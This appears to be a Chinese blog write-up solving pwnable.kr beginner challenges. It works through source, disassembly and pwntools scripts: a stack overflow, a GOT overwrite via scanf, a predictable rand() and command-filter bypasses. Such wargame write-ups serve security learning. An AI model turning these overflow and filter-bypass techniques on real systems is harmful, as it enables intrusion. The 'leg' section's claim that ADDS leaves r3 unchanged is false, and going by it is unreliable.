pwnable

#pwnable

  • 记录一些pwnable的解题过程

##[Toddler’s Bottle]

[fd]

  • 首先 连上服务器看看有什么
1
2
fd@ubuntu:~$ ls
fd fd.c flag
  • 看到有个.c文件 嘿嘿 打开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}
  • 自己去分析吧,,大致是说把fd = argv[1]-0x1234的结果作为read函数的第一个参数,这里请了解一下read函数,可知第一个参数为0就可以输入,然后输入的内容和"LETMEWIN\n"比较 相等就可以打开flag
  • so 把十六进制转换成十进制
1
2
3
4
5
6
fd@ubuntu:~$ python
Python 2.7.12 (default, Jul 1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int(0x1234)
4660
  • 可知要输入4660
1
2
3
4
5
6
fd@ubuntu:~$ ./fd
pass argv[1] a number
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

done!

collision

  • 连上ssh打开col.c观察一番
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
col@ubuntu:~$ ls
col col.c flag
col@ubuntu:~$ cat col.c
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

自己分析啊

1
2
3
4
5
6
7
8
9
10
>>> from pwn import *
>>> s = "\xc8\xce\xc5\x06"+"\xc9\xce\xc5\x06"*4
>>> s
'\xc8\xce\xc5\x06\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc9\xce\xc5\x06'
>>> x = process(['./col',s])
[x] Starting local process './col'
[+] Starting local process './col': Done
>>> x.recvline()
[*] Process './col' stopped with exit code 0
'daddy! I just managed to create a hash collision :)\n'

get~

bof

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

典型的溢出 查看一下汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gdb-peda$ disas func
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c
0x56555644 <+24>: call 0xf7e66140 <puts>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7e65890 <gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <+56>: call 0xf7e41940 <system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3
0x56555672 <+70>: call 0xf7e66140 <puts>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7efc7b0 <__stack_chk_fail>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
End of assembler dump.
1
2
3
4
0x56555649 <+29>:	lea    eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7e65890 <gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe

可知要填充52字节

exp

1
2
3
4
5
6
7
8
9
from pwn import *
payload = ""
payload += 'a'*52
payload += p32(0xcafebabe)
# io = process('./bof')
io = remote('pwnable.kr', 9000)
io.sendline(payload)
io.interactive()
io.close()

done!

flag

运行一下

I will malloc() and strcpy the flag there. take it.

然后

1
2
$ strings flag | grep -i upx
UPX!

发现upx加壳 脱了

upx -d flag

然后拖到ida看看

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // ST08_8

puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
v3 = (char *)malloc(100LL);
strcpy(v3, (const char *)flag);
return 0;
}

点开flag 然后继续找

1
.rodata:0000000000496628 aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0

done!

passcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
passcode@ubuntu:~$ ls
flag passcode passcode.c
passcode@ubuntu:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);//有问题哦
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

gdb看一下汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
(gdb) disas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push %ebp
0x0804860a <+1>: mov %esp,%ebp
0x0804860c <+3>: sub $0x88,%esp
0x08048612 <+9>: mov %gs:0x14,%eax
0x08048618 <+15>: mov %eax,-0xc(%ebp)
0x0804861b <+18>: xor %eax,%eax
0x0804861d <+20>: mov $0x80487cb,%eax
0x08048622 <+25>: mov %eax,(%esp)
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov $0x80487dd,%eax
0x0804862f <+38>: lea -0x70(%ebp),%edx
0x08048632 <+41>: mov %edx,0x4(%esp)
0x08048636 <+45>: mov %eax,(%esp)
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov $0x80487e3,%eax
0x08048643 <+58>: lea -0x70(%ebp),%edx
0x08048646 <+61>: mov %edx,0x4(%esp)
0x0804864a <+65>: mov %eax,(%esp)
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov -0xc(%ebp),%eax
0x08048655 <+76>: xor %gs:0x14,%eax
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
(gdb) disas login
Dump of assembler code for function login:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov $0x8048783,%eax
0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov 0x804a02c,%eax
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov $0x8048786,%eax
0x0804859d <+57>: mov %eax,(%esp)
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov $0x8048783,%eax
0x080485aa <+70>: mov -0xc(%ebp),%edx
0x080485ad <+73>: mov %edx,0x4(%esp)
0x080485b1 <+77>: mov %eax,(%esp)
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: movl $0x8048799,(%esp)
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp)
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp)
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: movl $0x80487a5,(%esp)
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: movl $0x80487bd,(%esp)
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.

可知由于name没有清空缓冲区,所以passcode1的值可以控制,so 我们可以利用scanf来向任意地址写入东西 hiahia

思路 向fflush的got表写入地址 直接跳到成功

1
2
3
4
5
6
7
8
9
from pwn import*

p = ssh(host='pwnable.kr', port=2222, user='passcode', password='guest')
sh = p.process("./passcode")

#addr = 0x080485d7 -> 134514135 因为输入只接受十进制的数,所以要把地址的值转化为十进制
payload = 'a' * 96 + '\x04\xa0\x04\x08' + '134514135'
sh.sendline(payload)
print (sh.recvall())

random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

这里需要知道的是rand()函数的机制 这其实是是一个伪随机数

系统在调用rand()之前都会自动调用srand(),如果用户在rand()之前曾调用过srand()给参数seed指定了一个值,那么 rand()就会将seed的值作为产生伪随机数的初始值;而如果用户在rand()前没有调用过srand(),那么系统默认将1作为伪随机数的初始 值。如果给了一个定值,那么每次rand()产生的随机数序列都是一样的~~

所以,我们gdb看看 并且验证一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
(gdb) start
Temporary breakpoint 1 at 0x4005f8
Starting program: /home/random/random

Temporary breakpoint 1, 0x00000000004005f8 in main ()
(gdb) x/10i 0x04005f8
=> 0x4005f8 <main+4>: sub $0x10,%rsp
0x4005fc <main+8>: mov $0x0,%eax
0x400601 <main+13>: callq 0x400500 <rand@plt>
0x400606 <main+18>: mov %eax,-0x4(%rbp)
0x400609 <main+21>: movl $0x0,-0x8(%rbp)
0x400610 <main+28>: mov $0x400760,%eax
0x400615 <main+33>: lea -0x8(%rbp),%rdx
0x400619 <main+37>: mov %rdx,%rsi
0x40061c <main+40>: mov %rax,%rdi
0x40061f <main+43>: mov $0x0,%eax
(gdb) ni
0x00000000004005fc in main ()
(gdb)
0x0000000000400601 in main ()
(gdb)
0x0000000000400606 in main ()
(gdb) info registers
rax 0x6b8b4567 1804289383
rbx 0x0 0
rcx 0x7fd956e840a4 140571442692260
rdx 0x7fd956e840a8 140571442692264
rsi 0x7ffd540f105c 140726013726812
rdi 0x7fd956e84620 140571442693664
rbp 0x7ffd540f1090 0x7ffd540f1090
rsp 0x7ffd540f1080 0x7ffd540f1080
r8 0x7fd956e840a4 140571442692260
r9 0x7fd956e84120 140571442692384
r10 0x47f 1151
r11 0x7fd956afbf50 140571438989136
r12 0x400510 4195600
r13 0x7ffd540f1170 140726013727088
r14 0x0 0
r15 0x0 0
rip 0x400606 0x400606 <main+18>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0

然后关了再来一次,可以看到都是0x6b8b4567

然后

1
2
3
4
5
6
7
8
random@ubuntu:~$ python
Python 2.7.12 (default, Jul 1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> s = 0xdeadbeef
>>> x = s^0x6b8b4567
>>> x
3039230856
1
2
3
4
random@ubuntu:~$ ./random 
3039230856
Good!
Mommy, I thought libc random is unpredictable...

done~

input*

。。。这个,,,哎,基础太差,看看网上的吧

https://werewblog.wordpress.com/2016/01/11/pwnable-kr-input/

leg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)

这个我觉得单单看c云里雾里,直接看汇编吧

####R14 (LR)

  • 连接寄存器 Link Register, LR
  • 当通过BL或BLX指令调用子程序时,R14被设置成该子程序的返回地址。在子程序中,当把R14的值复制到程序计数器PC中时,子程序即返回

R15 (PC)

  • 程序计数器 Program Counter, PC
  • ARM采用流水线机制,当正确读取了PC的值时,该值为当前指令地址值加8个字节。也就是说,对于ARM指令集来说,PC指向当前指令的下两条指令的地址。
  • ARM指令是字对齐的,PC值的第0位和第1位总为0。当使用指令STR/STM保存R15时,保存的可能是当前指令地址值加8或12字节(取决于不同芯片)

R0

存放返回值的地方

1
2
3
4
5
6
7
8
0x00008d84 <+72>:	add	r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>

0x00008d84地址处把r4和r3的和放到了r2,下一行再把r11-16地址处的值放到了r3,然后比较r2和r3,相等就接下去执行system

1
2
3
4
5
6
7
8
0x00008d68 <+44>:	bl	0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3

这里可以看到,最终r2的值为三个子函数的返回值之和

1
2
3
4
5
6
7
8
9
10
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.

可以看到mov r3, pc mov r0, r3,r0 = pc = 0x00008cdc+0x8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.

0x00008d04 <+20>: mov r3, pc adds r3, #4 mov r0, r3

这里有一条ADDS指令,看样子像是对r3进行了操作

1
0x00008d06 <+22>:    adds    r3, #41

但是查一下用法,发现ADDS 指令只是把 r3 + 4h 的值存入当前状态寄存器CPSR中,并不对r3的值进行修改,相当于 CPSR = r3 + 4

(注: ADD r3, #4r3 进行修改,相当于 r3 = r3 + 4

so r0 = pc = 0x00008d04+0x8

1
2
3
4
5
6
7
8
9
10
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
1
2
0x00008d28 <+8>:	mov	r3, lr
0x00008d2c <+12>: mov r0, r3

lr 是连接寄存器 (Link Register) 当程序通过BLBLX指令调用子程序时,R14被设置成该子程序的返回地址

1
2
0x00008d7c <+64>:    bl  0x8d20 <key3>
0x00008d80 <+68>: mov r3, r012

main()调用key3()时,key3()的返回地址是它的下一条指令的地址 即 lr = 0x8d80
最终 r0 = lr = 0x8d80

so r2 = 108400

mistake

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)这里是问题所在,<优先级比=高,所以先执行<

但是返回值肯定>0,所以这里fd = 0

所以只要判断用户的第二个输入和1异或后等于第一个就好

1
2
3
4
5
6
mistake@ubuntu:~$ ./mistake 
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(

###Shellshock*

emmm这个我也不太清楚原理,网上找找 CVE-2014-6271

coin1

emmm经过试玩,,,这就是个编程题,二分法,remote好像太慢了,只能在服务器上编写,还不会vim

借用大佬代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

#!/usr/bin/python
__author__ = "TaQini"

from pwn import *
import re

def getNC():
r = target.readline() #number and changes
NC = re.findall("[0-9]+",r)
return int(NC[0]), int(NC[1])

def guess(start, end):
coin = ""
for i in xrange(start, end+1):
coin += str(i) + " "
# print "coin " + coin
target.sendline(coin)
weight = target.read()
# print "weight " + str(weight)
return weight

def binsearch():
for i in range(100):
N, C = getNC()
cnt = 0
# print "N= " + str(N) + " C=" + str(C)
Left = 0
Right = N - 1
while (Left <= Right):
Mid = (Left + Right)/2
# print "guess " + str(Left) + "-" + str(Mid)
cnt += 1
if cnt > C:
# print "Hit!"
weight = guess(Left,Mid)
break
else:
weight = guess(Left,Mid)
# print "trial= " + str(cnt)
# print "and C= " + str(C)
if (eval(weight) + 1) % 10: # fake coin not here
Left = Mid + 1
else:
Right = Mid
print "hit!",(i),

target = remote("127.0.0.1",9007)
target.read() #rule of game
binsearch()
print target.read()

blackjack

hiahiahia 真好玩,建议先玩几遍再看代码,代码超级长,,,

总之最后发现bet没有限制正负,所以只要给-1000000的值 然后再输就行了

lotto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);

int r;
r = read(0, submit, 6);

printf("Lotto Start!\n");
//sleep(1);

// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}

}

void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

// menu
unsigned int menu;

while(1){

printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");

scanf("%d", &menu);

switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}

emmm两个for循环 可以取巧

我们只要输入相同的6个,只要lotto的六个值有且只有一个匹配上了就行,可以手动慢慢玩也可以写脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *  
target = process("./lotto")

flag = 2
while flag:
s = target.readuntil("Exit\n")
if "bad" not in s:
print s
flag -= 1
target.sendline("1")
k = target.read()
target.sendline(chr(43)*6)

done!

cmd1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

看一下strstr函数的定义,知道不能出现上诉的几个词

分开就好

1
2
cmd1@ubuntu:~$ ./cmd1 "/bin/cat 'f''l''a''g'"
mommy now I get what PATH environment is for :)

或者 过滤了flag 但是没有通配符 所以简单暴力的直接cat f* 就行了

1
2
cmd1@ubuntu:~$ ./cmd1 "/bin/cat f*"
mommy now I get what PATH environment is for :)

cmd2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}

extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}

好像有很多方法(・∀・(・∀・(・∀・*)

1
2
3
cmd2@ubuntu:~$ ./cmd2 "command -p cat f*"
command -p cat f*
FuN_w1th_5h3ll_v4riabl3s_haha

有个很好玩的骚套路

